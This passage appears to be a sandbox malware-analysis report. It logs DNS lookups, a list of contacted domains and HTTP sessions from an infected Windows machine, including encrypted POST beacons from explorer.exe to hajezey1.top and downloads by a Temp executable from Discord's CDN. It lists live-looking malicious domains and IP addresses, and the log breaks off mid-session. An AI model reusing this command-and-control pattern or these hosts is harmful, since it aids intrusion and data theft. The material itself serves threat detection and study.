Oct 29, 2021 17:55:25.534522057 CEST	192.168.2.6	8.8.8.8	0xd29a	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.609565020 CEST	192.168.2.6	8.8.8.8	0x7f98	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.785403967 CEST	192.168.2.6	8.8.8.8	0x6505	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.933482885 CEST	192.168.2.6	8.8.8.8	0x74cb	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.957577944 CEST	192.168.2.6	8.8.8.8	0xb17f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.144896984 CEST	192.168.2.6	8.8.8.8	0x310b	Standard query (0)	iyc.jelikob.ru	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.640609980 CEST	192.168.2.6	8.8.8.8	0xf7b0	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.827136993 CEST	192.168.2.6	8.8.8.8	0x615b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.992240906 CEST	192.168.2.6	8.8.8.8	0x331f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:29.181817055 CEST	192.168.2.6	8.8.8.8	0x74f5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:31.119785070 CEST	192.168.2.6	8.8.8.8	0x1456	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:31.295265913 CEST	192.168.2.6	8.8.8.8	0xceae	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:31.475876093 CEST	192.168.2.6	8.8.8.8	0x8cae	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:32.072633982 CEST	192.168.2.6	8.8.8.8	0x1a63	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:32.250112057 CEST	192.168.2.6	8.8.8.8	0xd64a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:35.041301012 CEST	192.168.2.6	8.8.8.8	0xebd5	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:36.899585962 CEST	192.168.2.6	8.8.8.8	0x50b0	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:37.075726986 CEST	192.168.2.6	8.8.8.8	0xf56d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:37.260876894 CEST	192.168.2.6	8.8.8.8	0xfc0e	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.058342934 CEST	192.168.2.6	8.8.8.8	0xd3c8	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.232764006 CEST	192.168.2.6	8.8.8.8	0xc019	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.468173027 CEST	192.168.2.6	8.8.8.8	0x5485	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.691632986 CEST	192.168.2.6	8.8.8.8	0x6c97	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.984433889 CEST	192.168.2.6	8.8.8.8	0x59ff	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.186166048 CEST	192.168.2.6	8.8.8.8	0x764b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.385817051 CEST	192.168.2.6	8.8.8.8	0xf4c7	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.566839933 CEST	192.168.2.6	8.8.8.8	0x4935	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:52.089204073 CEST	192.168.2.6	8.8.8.8	0x85a0	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:55.272018909 CEST	192.168.2.6	8.8.8.8	0xf230	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:58.546071053 CEST	192.168.2.6	8.8.8.8	0xe9f4	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:02.494286060 CEST	192.168.2.6	8.8.8.8	0xd3c4	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:04.667323112 CEST	192.168.2.6	8.8.8.8	0x9621	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.123013973 CEST	192.168.2.6	8.8.8.8	0x5054	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:06.009197950 CEST	192.168.2.6	8.8.8.8	0xcd69	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:09.367886066 CEST	192.168.2.6	8.8.8.8	0x83cb	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:10.137373924 CEST	192.168.2.6	8.8.8.8	0x2672	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:16.734692097 CEST	192.168.2.6	8.8.8.8	0x610	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:17.033591032 CEST	192.168.2.6	8.8.8.8	0x7a4e	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:27.189867973 CEST	192.168.2.6	8.8.8.8	0xebe1	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:31.105573893 CEST	192.168.2.6	8.8.8.8	0xcd72	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 17:57:06.855134010 CEST	192.168.2.6	8.8.8.8	0xe273	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 17:57:07.211366892 CEST	192.168.2.6	8.8.8.8	0x163	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 17:57:22.304686069 CEST	192.168.2.6	8.8.8.8	0x9e0a	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 17:54:57.149771929 CEST	8.8.8.8	192.168.2.6	0xfbda	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:54:57.449575901 CEST	8.8.8.8	192.168.2.6	0x99c6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:54:58.081223011 CEST	8.8.8.8	192.168.2.6	0xa0c5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:54:58.690633059 CEST	8.8.8.8	192.168.2.6	0xfc96	No error (0)	privacytoolzforyou-6000.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:02.417164087 CEST	8.8.8.8	192.168.2.6	0xf8f9	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:02.676831007 CEST	8.8.8.8	192.168.2.6	0x91be	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:17.513787031 CEST	8.8.8.8	192.168.2.6	0xffd3	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:17.714283943 CEST	8.8.8.8	192.168.2.6	0x5457	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:17.872169018 CEST	8.8.8.8	192.168.2.6	0x45ab	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:18.038615942 CEST	8.8.8.8	192.168.2.6	0x1a42	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:18.217578888 CEST	8.8.8.8	192.168.2.6	0x103a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.427656889 CEST	8.8.8.8	192.168.2.6	0x439f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.606359959 CEST	8.8.8.8	192.168.2.6	0x85c1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.792615891 CEST	8.8.8.8	192.168.2.6	0x5a7c	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.973515034 CEST	8.8.8.8	192.168.2.6	0x7576	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:22.870615005 CEST	8.8.8.8	192.168.2.6	0x7019	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:23.543827057 CEST	8.8.8.8	192.168.2.6	0xaa00	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:25.555727959 CEST	8.8.8.8	192.168.2.6	0xd29a	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:25.555727959 CEST	8.8.8.8	192.168.2.6	0xd29a	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:25.555727959 CEST	8.8.8.8	192.168.2.6	0xd29a	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:25.555727959 CEST	8.8.8.8	192.168.2.6	0xd29a	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:25.555727959 CEST	8.8.8.8	192.168.2.6	0xd29a	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.629108906 CEST	8.8.8.8	192.168.2.6	0x7f98	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.804874897 CEST	8.8.8.8	192.168.2.6	0x6505	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.956058025 CEST	8.8.8.8	192.168.2.6	0x74cb	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.956058025 CEST	8.8.8.8	192.168.2.6	0x74cb	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.956058025 CEST	8.8.8.8	192.168.2.6	0x74cb	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.956058025 CEST	8.8.8.8	192.168.2.6	0x74cb	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.956058025 CEST	8.8.8.8	192.168.2.6	0x74cb	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:27.977127075 CEST	8.8.8.8	192.168.2.6	0xb17f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.222073078 CEST	8.8.8.8	192.168.2.6	0x310b	No error (0)	iyc.jelikob.ru		81.177.141.36	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.660132885 CEST	8.8.8.8	192.168.2.6	0xf7b0	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:28.846453905 CEST	8.8.8.8	192.168.2.6	0x615b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:29.011831999 CEST	8.8.8.8	192.168.2.6	0x331f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:29.199457884 CEST	8.8.8.8	192.168.2.6	0x74f5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:31.139262915 CEST	8.8.8.8	192.168.2.6	0x1456	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:31.314423084 CEST	8.8.8.8	192.168.2.6	0xceae	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:31.905128956 CEST	8.8.8.8	192.168.2.6	0x8cae	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:32.093822002 CEST	8.8.8.8	192.168.2.6	0x1a63	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:32.270860910 CEST	8.8.8.8	192.168.2.6	0xd64a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:35.062475920 CEST	8.8.8.8	192.168.2.6	0xebd5	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:35.062475920 CEST	8.8.8.8	192.168.2.6	0xebd5	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:35.062475920 CEST	8.8.8.8	192.168.2.6	0xebd5	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:35.062475920 CEST	8.8.8.8	192.168.2.6	0xebd5	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:35.062475920 CEST	8.8.8.8	192.168.2.6	0xebd5	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:36.919922113 CEST	8.8.8.8	192.168.2.6	0x50b0	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:37.093785048 CEST	8.8.8.8	192.168.2.6	0xf56d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:37.280358076 CEST	8.8.8.8	192.168.2.6	0xfc0e	No error (0)	sysaheu90.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.077429056 CEST	8.8.8.8	192.168.2.6	0xd3c8	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.252315998 CEST	8.8.8.8	192.168.2.6	0xc019	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.487469912 CEST	8.8.8.8	192.168.2.6	0x5485	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:44.711740971 CEST	8.8.8.8	192.168.2.6	0x6c97	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.003561974 CEST	8.8.8.8	192.168.2.6	0x59ff	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.205607891 CEST	8.8.8.8	192.168.2.6	0x764b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.405375004 CEST	8.8.8.8	192.168.2.6	0xf4c7	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:45.586412907 CEST	8.8.8.8	192.168.2.6	0x4935	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:52.108186960 CEST	8.8.8.8	192.168.2.6	0x85a0	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:55.291672945 CEST	8.8.8.8	192.168.2.6	0xf230	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:58.565843105 CEST	8.8.8.8	192.168.2.6	0xe9f4	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:02.513814926 CEST	8.8.8.8	192.168.2.6	0xd3c4	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:04.701968908 CEST	8.8.8.8	192.168.2.6	0x9621	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		5.163.179.4	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		91.203.174.38	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		61.36.14.230	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		222.236.49.123	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		211.168.197.211	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		179.52.22.168	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		151.251.30.69	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		175.126.109.15	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		118.33.109.122	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:05.481338978 CEST	8.8.8.8	192.168.2.6	0x5054	No error (0)	znpst.top		31.166.224.38	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:06.109672070 CEST	8.8.8.8	192.168.2.6	0xcd69	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:09.387510061 CEST	8.8.8.8	192.168.2.6	0x83cb	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:10.161005020 CEST	8.8.8.8	192.168.2.6	0x2672	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:10.161005020 CEST	8.8.8.8	192.168.2.6	0x2672	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:16.758735895 CEST	8.8.8.8	192.168.2.6	0x610	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:16.758735895 CEST	8.8.8.8	192.168.2.6	0x610	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:16.758735895 CEST	8.8.8.8	192.168.2.6	0x610	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:16.758735895 CEST	8.8.8.8	192.168.2.6	0x610	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:16.758735895 CEST	8.8.8.8	192.168.2.6	0x610	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:17.081147909 CEST	8.8.8.8	192.168.2.6	0x7a4e	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:27.212325096 CEST	8.8.8.8	192.168.2.6	0xebe1	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:27.212325096 CEST	8.8.8.8	192.168.2.6	0xebe1	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:27.212325096 CEST	8.8.8.8	192.168.2.6	0xebe1	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:27.212325096 CEST	8.8.8.8	192.168.2.6	0xebe1	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:27.212325096 CEST	8.8.8.8	192.168.2.6	0xebe1	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 17:56:31.124711990 CEST	8.8.8.8	192.168.2.6	0xcd72	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 17:57:06.874423981 CEST	8.8.8.8	192.168.2.6	0xe273	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 17:57:07.230710030 CEST	8.8.8.8	192.168.2.6	0x163	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 17:57:22.324506998 CEST	8.8.8.8	192.168.2.6	0x9e0a	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

iyc.jelikob.ru

agvlhndt.com

hajezey1.top

dyrgluo.org

privacytoolzforyou-6000.top

ctwwxytaud.net

wpicrcm.com

fklpf.org

bxdspskl.net

isiuwvkkoj.com

pmdvv.com

jyoho.org

fpdmgcvxb.com

fxurvqy.com

vlsulvkdg.com

cwdaqy.com

llaraxn.com

jibms.org

mowuyooy.org

okikkrhv.org

pjlnqmhpvc.com

hcgnyqptt.net

ithapmr.net

gauqw.com

vqosa.com

kdacdmichm.net

fsluxk.org

dpiqpnl.org

tysqt.net

dhskdgpx.com

oihlnqbyqp.org

xbtscsiiqr.net

sysaheu90.top

fchldji.org

narjywxfra.net

pkxhixnn.org

xjjqkp.com

sqgxbwy.com

yvrtx.org

vyivfmetg.org

wdgyfowqds.org

nusurtal4f.net

znpst.top

toptelete.top

194.180.174.181

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49799	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49805	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49763	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:02.758733034 CEST	1436	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wpicrcm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: hajezey1.top
Oct 29, 2021 17:55:02.758742094 CEST	1436	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 55 9f a5 34 Data Ascii: lI\|FG2@i^mwmwu$f]dU4Ya]s,@B,t@G}##i:T`>c+W;Q(Gb,O*iN77J_))!er8Oun8kde]9$4NC^bhR VhG0
Oct 29, 2021 17:55:02.838700056 CEST	1437	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49766	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:17.567290068 CEST	1467	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fklpf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: hajezey1.top
Oct 29, 2021 17:55:17.567347050 CEST	1467	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 59 9f a6 1f Data Ascii: lI\|FG2@i^mwmwu$f]dY1vZDmB<)6+{\cfz%+}Y=9?' EBct[T\Y?{N&NCl%y>?s[3JR/R1d}2$pkpT mlWv8P
Oct 29, 2021 17:55:17.647293091 CEST	1468	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49767	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:17.766813040 CEST	1470	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bxdspskl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 138 Host: hajezey1.top
Oct 29, 2021 17:55:17.766829014 CEST	1470	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 38 c2 cf 21 Data Ascii: lI\|FG2@i^mwmwu$f]d8!`F9U?Gf8c_do7HOZ.J6K'=3`
